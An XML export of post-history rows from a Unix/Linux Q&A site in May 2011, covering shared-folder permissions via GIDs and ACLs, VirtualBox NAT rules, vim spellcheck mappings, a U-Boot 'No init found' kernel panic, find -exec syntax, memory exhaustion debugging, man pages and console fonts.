  <row Id="31743" PostHistoryTypeId="2" PostId="12898" RevisionGUID="020843e7-a8c7-4aa4-8aa0-a08aad68854e" CreationDate="2011-05-09T16:13:15.913" UserId="2701" Text="Faheem is correct; a shared group option would solve your problem, presuming that I correctly understand your problem.&#xD;&#xA;&#xD;&#xA;You can use this command to find the highest, currently assigned GID on each system (the uniq is not necessary but included out of habit):&#xD;&#xA;&#xD;&#xA;    awk -F':' '{ print $3 }' /etc/group | sort -n | uniq | tail -1&#xD;&#xA;&#xD;&#xA;Please note that, whatever the output of this command, there may also be overlaps in unused GID's at a lower value, however, selecting a GID above the printed value will guarantee that neither system already uses the identifier.&#xD;&#xA;&#xD;&#xA;Any group permissions set on the folder(s) in question will then apply to all members of the group on both systems.&#xD;&#xA;&#xD;&#xA;Please also note that the group names do not need to match, although for your own sanity this may be desirable.&#xD;&#xA;&#xD;&#xA;To add one or more users to a group, depending on your Linux distribution, you may have access to the gpasswd command:&#xD;&#xA;&#xD;&#xA;    gpasswd -a &lt;user&gt; &lt;group/GID&gt;&#xD;&#xA;&#xD;&#xA;Lacking this utility, or by preference, you can make the same change by executing:&#xD;&#xA;&#xD;&#xA;    usermod -G $(groups &lt;user&gt; | sed 's/ /,/g'),&lt;new group&gt; &lt;user&gt;&#xD;&#xA;&#xD;&#xA;Please note that this command presumes that you desire to set the supplementary group rather than the primary group for the specified user." />
  <row Id="31744" PostHistoryTypeId="2" PostId="12899" RevisionGUID="0cac0d69-b2c9-4229-8125-628c38bbbf58" CreationDate="2011-05-09T16:14:33.317" UserId="1925" Text="The first argument inside the quotes of the rule you created is the rule name. You can delete the rule by name like this:&#xD;&#xA;&#xD;&#xA;    VBoxManage modifyvm xp --natpf1 delete guestrdp&#xD;&#xA;&#xD;&#xA;To find these kind of things out the fastest place to look is `VBoxManage --help | less`." />
  <row Id="31745" PostHistoryTypeId="5" PostId="12846" RevisionGUID="cb0d53c0-20c7-4952-9cbb-72f87e6d39ee" CreationDate="2011-05-09T16:15:49.813" UserId="4671" Comment="added 13 characters in body" Text="This question is a good fit for linux [`acl`](http://en.wikipedia.org/wiki/Access_control_list). Since you don't state your OS, I'll assume Linux in what follows. Here is an example session.&#xD;&#xA;&#xD;&#xA;I don't know of a really good `acl` tutorial, but you could do worse than http://www.vanemery.com/Linux/ACL/linux-acl.html&#xD;&#xA;&#xD;&#xA;Note that the default `acl` behaves like a local umask. Since at least in Linux, umasks are applied globally, this is the only way I know to get the effect of a local umask. For some reason this a little known feature. The net is littered with people asking about a local umask override, but almost nobody seems to think of using `acl`.&#xD;&#xA;&#xD;&#xA;Also note that you need to mount the partition you are working in with `acl` support, eg.&#xD;&#xA;&#xD;&#xA;    /dev/mapper/debian-acl /mnt/acl        ext3    defaults,acl        0       2&#xD;&#xA;&#xD;&#xA;Session follows:&#xD;&#xA;&#xD;&#xA;    /mnt/acl$ mkdir foo&#xD;&#xA;    /mnt/acl$ getfacl foo&#xD;&#xA;    # file: foo&#xD;&#xA;    # owner: faheem&#xD;&#xA;    # group: faheem&#xD;&#xA;    user::rwx&#xD;&#xA;    group::r-x&#xD;&#xA;    other::r-x&#xD;&#xA;&#xD;&#xA;Set the group of `foo` to be `staff`, and set the acl of group and user of `foo` to `rwx`.&#xD;&#xA;&#xD;&#xA;    /mnt/acl$ chgrp staff foo&#xD;&#xA;    /mnt/acl$ setfacl -R -m u::rwx,g::rwx foo&#xD;&#xA;    /mnt/acl$ getfacl foo&#xD;&#xA;    # file: foo&#xD;&#xA;    # owner: faheem&#xD;&#xA;    # group: staff&#xD;&#xA;    user::rwx&#xD;&#xA;    group::rwx&#xD;&#xA;    other::r-x&#xD;&#xA;&#xD;&#xA;Set default acls of user and group to `rwx` as well. This defines permissions that files and directories inherit from `foo`. So all files and directories created under foo will have group permissions `rw`.&#xD;&#xA;&#xD;&#xA;    /mnt/acl$ setfacl -d --set u::rwx,g::rwx,o::- foo&#xD;&#xA;    /mnt/acl$ getfacl foo&#xD;&#xA;    # file: foo&#xD;&#xA;    # owner: faheem&#xD;&#xA;    # group: staff&#xD;&#xA;    user::rwx&#xD;&#xA;    group::rwx&#xD;&#xA;    other::r-x&#xD;&#xA;    default:user::rwx&#xD;&#xA;    default:group::rwx&#xD;&#xA;    default:other::---&#xD;&#xA;&#xD;&#xA;Now create some files in `foo` as users `faheem` and `john`.&#xD;&#xA;&#xD;&#xA;    /mnt/acl$ cd foo&#xD;&#xA;    /mnt/acl/foo$ touch bar&#xD;&#xA; &#xD;&#xA;    # switch to user john for this next command.&#xD;&#xA;&#xD;&#xA;    /mnt/acl/foo$ touch baz&#xD;&#xA;&#xD;&#xA;List files. Notice that both files owned by `faheem` and files owned by `john` are created with group permissions `rw`.&#xD;&#xA;&#xD;&#xA;    /mnt/acl/foo$ ls -la&#xD;&#xA;    total 3&#xD;&#xA;    drwxrwxr-x+ 2 faheem staff  1024 May  9 01:22 .&#xD;&#xA;    drwxr-xr-x  4 faheem faheem 1024 May  9 01:20 ..&#xD;&#xA;    -rw-rw----  1 faheem faheem    0 May  9 01:20 bar&#xD;&#xA;    -rw-rw----  1 john   john      0 May  9 01:22 baz&#xD;&#xA;" />
  <row Id="31746" PostHistoryTypeId="2" PostId="12900" RevisionGUID="8163981f-2510-4c26-b910-f90307fc8ba5" CreationDate="2011-05-09T16:21:02.653" UserId="7344" Text="If you want to toggle spellcheck on and off, you can add something like the following to your .vimrc:&#xD;&#xA;&#xD;&#xA;    map &lt;F4&gt; :setlocal spell spelllang=en_gb&lt;CR&gt;&#xD;&#xA;    map &lt;F5&gt; :set nospell&lt;CR&gt;" />
  <row Id="31747" PostHistoryTypeId="5" PostId="12894" RevisionGUID="4157f8ab-111f-468d-827f-5836555444db" CreationDate="2011-05-09T16:29:32.090" UserId="4671" Comment="added 1125 characters in body" Text="Not sure exactly what your question is. Can you be more specific? Specifically, I'm having difficulty parsing&#xD;&#xA;&#xD;&#xA;&gt; I want a /home/shared where raul &amp;&#xD;&#xA;&gt; ricardo have permission over this&#xD;&#xA;&gt; folder, maybe www-data and root, but&#xD;&#xA;&gt; any other user on any linux distro.&#xD;&#xA;&#xD;&#xA;Do you want to know how to set up a shared folder/partition? If so, you could just set up a group in each installation with the same group id. Then perhaps use acl to make sure group has `rw` permission to the partition.&#xD;&#xA;&#xD;&#xA;`man addgroup` says&#xD;&#xA;&#xD;&#xA;&gt; A  GID  will  be chosen from the range&#xD;&#xA;&gt; specified for system GIDS in the&#xD;&#xA;&gt; configuration file (FIRST_GID,&#xD;&#xA;&gt; LAST_GID). To override that mechanism&#xD;&#xA;&gt; you can give&#xD;&#xA;&gt;        the GID using the --gid option.&#xD;&#xA;&#xD;&#xA;So you could do&#xD;&#xA;&#xD;&#xA;    addgroup [options] [--gid ID] group&#xD;&#xA;&#xD;&#xA;where `group` and `ID` is the same in both installations. Set up a `raul` and `ricardo` user on each installation, and with the same uids.Then add both `raul` and `ricardo` to the group in each installation. &#xD;&#xA;&#xD;&#xA;For a tutorial about acl see [Using ACLs with Fedora Core 2](http://www.vanemery.com/Linux/ACL/linux-acl.html), and see my [answer](http://unix.stackexchange.com/questions/12842/permission-of-saved-files/12846#12846) to a recent question about sharing a directory between two users. Obviously, you'll need to mount the partition with acl support on both installations.&#xD;&#xA;&#xD;&#xA;EDIT: In response to raul's comment below:&#xD;&#xA;&#xD;&#xA;If I understand your question correctly, and you are trying to share data between two `www-data` users on two installations then this a slightly different question&#xD;&#xA;than the one you seemed to be asked with `raul` and `ricardo`, because in this case, the users would be the same.&#xD;&#xA;&#xD;&#xA;`www-data` would be typically created by a web server installation like apache, so creating them with matching ids would be difficult unless it was already the case (see below). I think there should be no problem in altering the uids/gids after the event to match, but I'm not 100% sure about that. Perhaps the experts here can advise.&#xD;&#xA;&#xD;&#xA;Note that in the two debian installations I currently have handy, `www-data` has id 33 in both installations. Assuming this is a Debian default, which seems likely, it is possible it would not be the same for other Linux distributions. However, if your installations were both the same distribution, the ids would very likely match. Indeed, if this were the case, you could just use the www-data group as your group, and you would not have to anything.&#xD;&#xA;" />
  <row Id="31748" PostHistoryTypeId="5" PostId="12894" RevisionGUID="5737ed0f-834b-479c-a907-22aff27302bc" CreationDate="2011-05-09T16:34:39.530" UserId="4671" Comment="added 3 characters in body" Text="Not sure exactly what your question is. Can you be more specific? Specifically, I'm having difficulty parsing&#xD;&#xA;&#xD;&#xA;&gt; I want a /home/shared where raul &amp;&#xD;&#xA;&gt; ricardo have permission over this&#xD;&#xA;&gt; folder, maybe www-data and root, but&#xD;&#xA;&gt; any other user on any linux distro.&#xD;&#xA;&#xD;&#xA;Do you want to know how to set up a shared folder/partition? If so, you could just set up a group in each installation with the same group id. Then perhaps use acl to make sure group has `rw` permission to the partition.&#xD;&#xA;&#xD;&#xA;`man addgroup` says&#xD;&#xA;&#xD;&#xA;&gt; A  GID  will  be chosen from the range&#xD;&#xA;&gt; specified for system GIDS in the&#xD;&#xA;&gt; configuration file (FIRST_GID,&#xD;&#xA;&gt; LAST_GID). To override that mechanism&#xD;&#xA;&gt; you can give&#xD;&#xA;&gt;        the GID using the --gid option.&#xD;&#xA;&#xD;&#xA;So you could do&#xD;&#xA;&#xD;&#xA;    addgroup [options] [--gid ID] group&#xD;&#xA;&#xD;&#xA;where `group` and `ID` is the same in both installations. Set up a `raul` and `ricardo` user on each installation, and with the same uids.Then add both `raul` and `ricardo` to the group in each installation. &#xD;&#xA;&#xD;&#xA;For a tutorial about acl see [Using ACLs with Fedora Core 2](http://www.vanemery.com/Linux/ACL/linux-acl.html), and see my [answer](http://unix.stackexchange.com/questions/12842/permission-of-saved-files/12846#12846) to a recent question about sharing a directory between two users. Obviously, you'll need to mount the partition with acl support on both installations.&#xD;&#xA;&#xD;&#xA;EDIT: In response to raul's comment below:&#xD;&#xA;&#xD;&#xA;If I understand your question correctly, and you are trying to share data between two `www-data` users on two installations then this a slightly different question&#xD;&#xA;than the one you seemed to be asked with `raul` and `ricardo`, because in this case, the users would be the same.&#xD;&#xA;&#xD;&#xA;`www-data` would be typically created by a web server installation like apache, so creating them with matching ids would be difficult unless it was already the case (see below). I think there should be no problem in altering the uids/gids after the event to match, but I'm not 100% sure about that. Perhaps the experts here can advise.&#xD;&#xA;&#xD;&#xA;Note that in the two debian installations I currently have handy, `www-data` has id 33 in both installations. Assuming this is a Debian default, which seems likely, it is possible it would not be the same for other Linux distributions. However, if your installations were both the same distribution, the ids would very likely match. Indeed, if this were the case, you could just use the www-data group as your group, and you would not have to do anything.&#xD;&#xA;" />
  <row Id="31749" PostHistoryTypeId="5" PostId="12891" RevisionGUID="78623f64-9405-489d-9507-8d6b5bad3090" CreationDate="2011-05-09T16:49:57.687" UserId="7341" Comment="added 595 characters in body" Text="I have two linux install on my computer, with /home on a different partition but shared for the two install. and each install have a different username to avoid conflicts. The thing is I'm a developer, I don't want mix users, but I want to setup permission for a shared folder.&#xD;&#xA;&#xD;&#xA;Example, &#xD;&#xA;&#xD;&#xA; - Ubuntu, main user: raul, home folder: /home/raul&#xD;&#xA; - Fedora, main user: ricardo, home folder: /home/ricardo&#xD;&#xA; - I want a /home/shared where raul &amp; ricardo have permission over this folder, maybe www-data and root, but any other user on any linux distro.&#xD;&#xA;&#xD;&#xA;I hope you got my problem.&#xD;&#xA;&#xD;&#xA;EDIT: This seems to be more complex than expect.&#xD;&#xA;&#xD;&#xA;This note is the best I can explain, with my actual english level, so please be nice.&#xD;&#xA;&#xD;&#xA;Same computer, have distros A, B installed. distros A &amp; B are sharing /home in another partition but has different user... so I have /home/a for user A in distro A /home/b and you know... So I like to have a folder for example /home/shared where user A and B can read and write folder, like part of a same group, BUT user A don't exist on distro B and vice versa. Then how do I tell to each distro, that make me a group with a user from another distro," />
  <row Id="31750" PostHistoryTypeId="5" PostId="12894" RevisionGUID="1f42f314-fd66-4e3c-b782-4eb5b92ebca8" CreationDate="2011-05-09T17:11:27.327" UserId="4671" Comment="correction: not necessary to have both users on each installation" Text="Not sure exactly what your question is. Can you be more specific? Specifically, I'm having difficulty parsing&#xD;&#xA;&#xD;&#xA;&gt; I want a /home/shared where raul &amp;&#xD;&#xA;&gt; ricardo have permission over this&#xD;&#xA;&gt; folder, maybe www-data and root, but&#xD;&#xA;&gt; any other user on any linux distro.&#xD;&#xA;&#xD;&#xA;Do you want to know how to set up a shared folder/partition? If so, you could just set up a group in each installation with the same group id. Then perhaps use acl to make sure group has `rw` permission to the partition.&#xD;&#xA;&#xD;&#xA;`man addgroup` says&#xD;&#xA;&#xD;&#xA;&gt; A  GID  will  be chosen from the range&#xD;&#xA;&gt; specified for system GIDS in the&#xD;&#xA;&gt; configuration file (FIRST_GID,&#xD;&#xA;&gt; LAST_GID). To override that mechanism&#xD;&#xA;&gt; you can give&#xD;&#xA;&gt;        the GID using the --gid option.&#xD;&#xA;&#xD;&#xA;So you could do&#xD;&#xA;&#xD;&#xA;    addgroup [options] [--gid ID] group&#xD;&#xA;&#xD;&#xA;where `group` and `ID` is the same in both installations.&#xD;&#xA;&#xD;&#xA;For a tutorial about acl see [Using ACLs with Fedora Core 2](http://www.vanemery.com/Linux/ACL/linux-acl.html), and see my [answer](http://unix.stackexchange.com/questions/12842/permission-of-saved-files/12846#12846) to a recent question about sharing a directory between two users. Obviously, you'll need to mount the partition with acl support on both installations.&#xD;&#xA;&#xD;&#xA;Once `acl` is set up, all files and directories in the folder will have group permissions `rw` and so `raul` from one installation and `ricardo` from the other installation will both be able to read and write to that folder.&#xD;&#xA;&#xD;&#xA;EDIT: In response to raul's comment below:&#xD;&#xA;&#xD;&#xA;If I understand your question correctly, and you are trying to share data between two `www-data` users on two installations, then this a slightly different question&#xD;&#xA;than the one you seemed to be asked with `raul` and `ricardo`, because in this case, the users would be the same.&#xD;&#xA;&#xD;&#xA;`www-data` would be typically created by a web server installation like apache, so creating them with matching ids would be difficult unless it was already the case (see below). I think there should be no problem in altering the uids/gids after the event to match, but I'm not 100% sure about that. Perhaps the experts here can advise.&#xD;&#xA;&#xD;&#xA;Note that Debian defaults to `uid/gid=33` for `www`. It is possible it would not be the same for other Linux distributions. However, if your installations were both the same distribution, the ids would very likely match. Indeed, if this were the case, you could just use the www-data group as your group, and you would not have to do anything.&#xD;&#xA;" />
  <row Id="31751" PostHistoryTypeId="2" PostId="12901" RevisionGUID="eac8e76f-d1f1-4878-92e1-f4327129bd64" CreationDate="2011-05-09T16:17:36.597" UserDisplayName="arreche" Text="Hello,&#xD;&#xA;&#xD;&#xA;Kernel mounted the root file system but can not find any init script. I'm sure that script exists in my ramdisk.img!&#xD;&#xA;&#xD;&#xA;I also checked out http://www.denx.de/wiki/view/DULG/UBootCmdGroupFlash#Section_5.9.3.5 and GE863-PRO3 U-BOOT Software User Guide 1VV0300777 Rev. 6 – 2010-01-25.&#xD;&#xA;&#xD;&#xA;¿Any idea or alternative documentation?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;MY ENVIRONMENT: GE863-PRO3 128/64 version&#xD;&#xA;&#xD;&#xA;    U-Boot 1.2.0 (Aug 18 2010 - 12:16:10)- 221 Telit&#xD;&#xA;    &#xD;&#xA;    DRAM:  64 MB&#xD;&#xA;    &#xD;&#xA;    Bank #1&#xD;&#xA;    Flash:NAND Numonyx NAND01G-B2B 128MB 1.8V 8-bit&#xD;&#xA;    Hardware ECC (ECC data size = 512 bytes)&#xD;&#xA;    Nb min erasable unit:   1024&#xD;&#xA;    min erasable Size: 131072&#xD;&#xA;    Size=134217728 bytes&#xD;&#xA;    Logical address: 0x40000000&#xD;&#xA;    No bad block detected&#xD;&#xA;    Area 0: 40000000 to 403BFFFF (RO)  Primary Bootstrap&#xD;&#xA;    Area 1: 403C0000 to 4043FFFF (RO)  U-Boot code&#xD;&#xA;    Area 2: 40440000 to 404BFFFF (RO)  U-Boot Environment&#xD;&#xA;    Area 3: 404C0000 to 407BFFFF       User Area 1&#xD;&#xA;    Area 4: 407C0000 to 47FFFFFF       User Area 2&#xD;&#xA;&#xD;&#xA;U-BOOT COMMANDS:&#xD;&#xA;&#xD;&#xA;    setenv bootargs console=ttyS0,115200 mem=64M ver=4384k icofat=257k rootfstype=jffs2 root=/dev/mtdblock1 rw mtdparts=at91_nand:7936k(ARMboot)ro,-@7936k(root) init=/bin/busybox&#xD;&#xA;    ethinit 192.168.122.3&#xD;&#xA;    erase 404C0000 47FFFFFF&#xD;&#xA;    tftp 20200000 ramdisk.img&#xD;&#xA;    cp.b 20200000 0x407c0000 14cd78&#xD;&#xA;    tftp 20200000 uImage&#xD;&#xA;    bootm&#xD;&#xA;&#xD;&#xA;BOOT OUTPUT:&#xD;&#xA;&#xD;&#xA;    VFS: Mounted root (jffs2 filesystem).&#xD;&#xA;    Freeing init memory: 96K&#xD;&#xA;    Setting DMA Console&#xD;&#xA;    Failed to execute /bin/busybox.  Attempting defaults...&#xD;&#xA;    Kernel panic - not syncing: No init found.  Try passing init= option to kernel.&#xD;&#xA;    Function entered at [&lt;c01de28c&gt;] from [&lt;c01de304&gt;]&#xD;&#xA;    Function entered at [&lt;c01de2a0&gt;] from [&lt;c0020398&gt;]&#xD;&#xA;     r3:c3c1ac40 r2:c3c1ac40 r1:c3c1deb0 r0:c01c3cab&#xD;&#xA;    Function entered at [&lt;c00202dc&gt;] from [&lt;c00085e0&gt;]&#xD;&#xA;     r4:c020d2c0&#xD;&#xA;    Function entered at [&lt;c00083b8&gt;] from [&lt;c003a454&gt;]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thank you in advance!." />
  <row Id="31752" PostHistoryTypeId="1" PostId="12901" RevisionGUID="eac8e76f-d1f1-4878-92e1-f4327129bd64" CreationDate="2011-05-09T16:17:36.597" UserDisplayName="arreche" Text="Kernel panic - not syncing: No init found. While booting from U-Boot" />
  <row Id="31753" PostHistoryTypeId="3" PostId="12901" RevisionGUID="eac8e76f-d1f1-4878-92e1-f4327129bd64" CreationDate="2011-05-09T16:17:36.597" UserDisplayName="arreche" Text="éuntaggedà" />
  <row Id="31754" PostHistoryTypeId="17" PostId="12901" RevisionGUID="606bdb4a-a54a-428d-b458-d5598f92eac7" CreationDate="2011-05-09T17:31:23.437" UserId="-1" Comment="from http://stackoverflow.com/questions/5939656/kernel-panic-not-syncing-no-init-found-while-booting-from-u-boot" Text="" />
  <row Id="31755" PostHistoryTypeId="2" PostId="12902" RevisionGUID="b3f71154-1c46-4246-a58f-2372b065546a" CreationDate="2011-05-09T17:35:13.947" UserId="1594" Text="I'd like to find the files in the current directory, that contain the text chrome.&#xD;&#xA;&#xD;&#xA;    $ find . -exec grep chrome&#xD;&#xA;    find: missing argument to `-exec'&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;What am I doing wrong?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31756" PostHistoryTypeId="1" PostId="12902" RevisionGUID="b3f71154-1c46-4246-a58f-2372b065546a" CreationDate="2011-05-09T17:35:13.947" UserId="1594" Text="How to run find -exec?" />
  <row Id="31757" PostHistoryTypeId="3" PostId="12902" RevisionGUID="b3f71154-1c46-4246-a58f-2372b065546a" CreationDate="2011-05-09T17:35:13.947" UserId="1594" Text="éubuntuàéfindà" />
  <row Id="31758" PostHistoryTypeId="2" PostId="12903" RevisionGUID="bd44d7eb-13fd-4d1d-8a36-aa99f6e57c89" CreationDate="2011-05-09T17:38:00.907" UserId="1925" Text="You don't need to use `find` for this at all; grep is able to handle opening the files either from a glob list of everything in the current directory:&#xD;&#xA;&#xD;&#xA;    grep chrome *&#xD;&#xA;&#xD;&#xA;...or even recursively for folder and everything under it:&#xD;&#xA;&#xD;&#xA;    grep chrome . -R" />
  <row Id="31759" PostHistoryTypeId="2" PostId="12904" RevisionGUID="f2ab8b06-921f-4a8b-a86e-a0a719617ce1" CreationDate="2011-05-09T17:39:04.603" UserId="6415" Text="You missed a `;` or a `+` and a `{}`:&#xD;&#xA;&#xD;&#xA;    find . -exec grep chrome {} \;&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    find . -exec grep chrome {} +&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31760" PostHistoryTypeId="2" PostId="12905" RevisionGUID="8418d2ac-38e6-46f8-ae13-247763fac910" CreationDate="2011-05-09T17:40:45.583" UserId="3389" Text="I'm not keen on making initrd's, but is it possible to set the permissions within the initrd?  Maybe `/bin/busybox/` doesn't have executable permission.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31761" PostHistoryTypeId="5" PostId="12904" RevisionGUID="9bbe62f6-1383-4860-9f41-6a4e813a9b8c" CreationDate="2011-05-09T17:44:36.857" UserId="6415" Comment="Added explanation" Text="You missed a `;` or a `+` and a `{}`:&#xD;&#xA;&#xD;&#xA;    find . -exec grep chrome {} \;&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    find . -exec grep chrome {} +&#xD;&#xA;&#xD;&#xA;`find` will execute `grep` and will substitute `{}` with the filename(s) found. The difference between `;` and `+` is that with `;` a single `grep` command for each file is executed whereas with `+` as many files as possible are given as parameters to `grep` at once." />
  <row Id="31762" PostHistoryTypeId="25" PostId="12902" RevisionGUID="4d8f8bc8-0d21-4e4f-89a6-ff8f3ab91614" CreationDate="2011-05-09T18:11:35.293" Comment="http://twitter.com/#!/StackUnix/status/67652951388323840" />
  <row Id="31763" PostHistoryTypeId="2" PostId="12906" RevisionGUID="b48139cd-1046-4de2-9e2a-b7a218c8837e" CreationDate="2011-05-09T18:18:48.950" UserId="6309" Text="The main server at my company has recently been having a lot of downtime. For reasons that neither I nor the other admins can determine, it has random (VERY sudden) explosions in memory. It becomes unresponsive because it exhausts all the memory, and then we have to reboot it. Very annoying. It's a Debian system, we haven't upgraded to Squeeze or anything, it's been perfectly stable for a long time.&#xD;&#xA;&#xD;&#xA;The problem is that the logs are totally useless. They don't seem to indicate that anything is going wrong. I'm guessing that some process is buggy and hogging all of the memory, but I have NO way of proving that at the moment. Remote logging is no help, because it's not complaining about anything -- it thinks everything is peachy.&#xD;&#xA;&#xD;&#xA;So my question is: how would you approach this problem? Any insight is appreciated. Thanks." />
  <row Id="31764" PostHistoryTypeId="1" PostId="12906" RevisionGUID="b48139cd-1046-4de2-9e2a-b7a218c8837e" CreationDate="2011-05-09T18:18:48.950" UserId="6309" Text="Unpredictable memory explosions" />
  <row Id="31765" PostHistoryTypeId="3" PostId="12906" RevisionGUID="b48139cd-1046-4de2-9e2a-b7a218c8837e" CreationDate="2011-05-09T18:18:48.950" UserId="6309" Text="édebianàémemoryàédebuggingà" />
  <row Id="31766" PostHistoryTypeId="5" PostId="12688" RevisionGUID="824fff74-c173-46f6-b193-c91d1eccd6aa" CreationDate="2011-05-09T18:22:55.640" UserId="557" Comment="not working" Text="How do I install them? At present, `man fopen` gives me `No manual entry for fopen`. I have the compilers installed and have verified that things do build without problems.&#xD;&#xA;&#xD;&#xA;**Update:** This is what I got when I tried the suggested solutions on Fedora 14:&#xD;&#xA;&#xD;&#xA;    [root@damien agnel]# yum install man-pages libstdc++-docs&#xD;&#xA;    Loaded plugins: langpacks, presto, refresh-packagekit&#xD;&#xA;    Adding en_US to language list&#xD;&#xA;    Setting up Install Process&#xD;&#xA;    Package man-pages-3.25-1.fc14.noarch already installed and latest version&#xD;&#xA;    Package libstdc++-docs-4.5.1-4.fc14.x86_64 already installed and latest version&#xD;&#xA;    Nothing to do&#xD;&#xA;    [root@damien agnel]# man std::iostream&#xD;&#xA;    No manual entry for std::iostream&#xD;&#xA;    [root@damien agnel]# &#xD;&#xA;&#xD;&#xA;" />
  <row Id="31767" PostHistoryTypeId="2" PostId="12907" RevisionGUID="78587ff9-9a87-4074-9c8f-6b8b30750620" CreationDate="2011-05-09T18:39:36.477" UserId="6761" Text="It depends on your distribution. &#xD;&#xA;&#xD;&#xA;In Arch Linux, once you have selected the font from &lt;file&gt;/usr/share/kbd/keymaps/&lt;/file&gt; that you would like to set, you need to add it to your &lt;file&gt;/etc/rc.conf&lt;/file&gt; like so:&#xD;&#xA;&lt;pre&gt;&lt;code&gt;ter-16n&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;and then add the consolefont hook to your &lt;file&gt;/etc/mkinitcpio.conf&lt;/file&gt; and regenerate the image:&#xD;&#xA;&lt;pre&gt;&lt;code&gt;# mkinitcpio -p kernel26&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;In Ubuntu/Debian, edit &lt;file&gt;/etc/default/console-setup&lt;/file&gt; and add an entry like:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;CODESET=&quot;Lat15&quot;&#xD;&#xA;FONTFACE=&quot;Terminus&quot;&#xD;&#xA;FONTSIZE=&quot;16&quot;&lt;/pre&gt;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;and then:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;sudo dpkg-reconfigure console-setup&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;References: &#xD;&#xA;Arch Wiki: https://wiki.archlinux.org/index.php/Fonts#Console_fonts&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31768" PostHistoryTypeId="5" PostId="12907" RevisionGUID="0a03fd9d-bcab-45b8-8841-92e5b6588c31" CreationDate="2011-05-09T18:55:11.857" UserId="6761" Comment="detail about Ubuntu font location" Text="It depends on your distribution. &#xD;&#xA;&#xD;&#xA;In Arch Linux, once you have selected the font from /usr/share/kbd/keymaps/ that you would like to set, you need to add it to your /etc/rc.conf like so:&#xD;&#xA;&lt;pre&gt;&lt;code&gt;ter-16n&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;and then add the consolefont hook to your /etc/mkinitcpio.conf and regenerate the image:&#xD;&#xA;&lt;pre&gt;&lt;code&gt;# mkinitcpio -p kernel26&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;In Ubuntu/Debian, select your font from /usr/share/consolefonts/ and then edit /etc/default/console-setup and add an entry like:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;CODESET=&quot;Lat15&quot;&#xD;&#xA;FONTFACE=&quot;Terminus&quot;&#xD;&#xA;FONTSIZE=&quot;16&quot;&lt;/pre&gt;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;and to make it permanent:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;sudo dpkg-reconfigure console-setup&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;References: &#xD;&#xA;Arch Wiki: https://wiki.archlinux.org/index.php/Fonts#Console_fonts&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31769" PostHistoryTypeId="2" PostId="12908" RevisionGUID="59ce9996-8711-43d1-bacc-7f0f73d6016a" CreationDate="2011-05-09T18:55:41.720" UserId="3154" Text="You could try to use a combination of limiting address space (as) per process and number of processes (nproc) per user through /etc/security/limits.conf (pam_limits), hopefully this would help avoiding that your box become completely unresponsive and that whatever is causing the problem dies noisily (or whomever causes it complains that their stuff doesn't work anylonger) so you can figure out the actual cause." />
  <row Id="31770" PostHistoryTypeId="5" PostId="12907" RevisionGUID="9003095b-664a-4c6b-b3b1-dc66b19b87dd" CreationDate="2011-05-09T19:02:40.373" UserId="6761" Comment="consolefont in rc.conf" Text="It depends on your distribution. &#xD;&#xA;&#xD;&#xA;In Arch Linux, once you have selected the font from /usr/share/kbd/keymaps/ that you would like to set, you need to add it to your /etc/rc.conf like so:&#xD;&#xA;&lt;pre&gt;&lt;code&gt;CONSOLEFONT=&quot;lat2-16&quot;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;and then add the consolefont hook to your /etc/mkinitcpio.conf and regenerate the image:&#xD;&#xA;&lt;pre&gt;&lt;code&gt;# mkinitcpio -p kernel26&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;In Ubuntu/Debian, select your font from /usr/share/consolefonts/ and then edit /etc/default/console-setup and add an entry like:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;CODESET=&quot;Lat15&quot;&#xD;&#xA;FONTFACE=&quot;Terminus&quot;&#xD;&#xA;FONTSIZE=&quot;16&quot;&lt;/pre&gt;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;and to make it permanent:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;sudo dpkg-reconfigure console-setup&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;References: &#xD;&#xA;Arch Wiki: https://wiki.archlinux.org/index.php/Fonts#Console_fonts&#xD;&#xA;&#xD;&#xA;" />
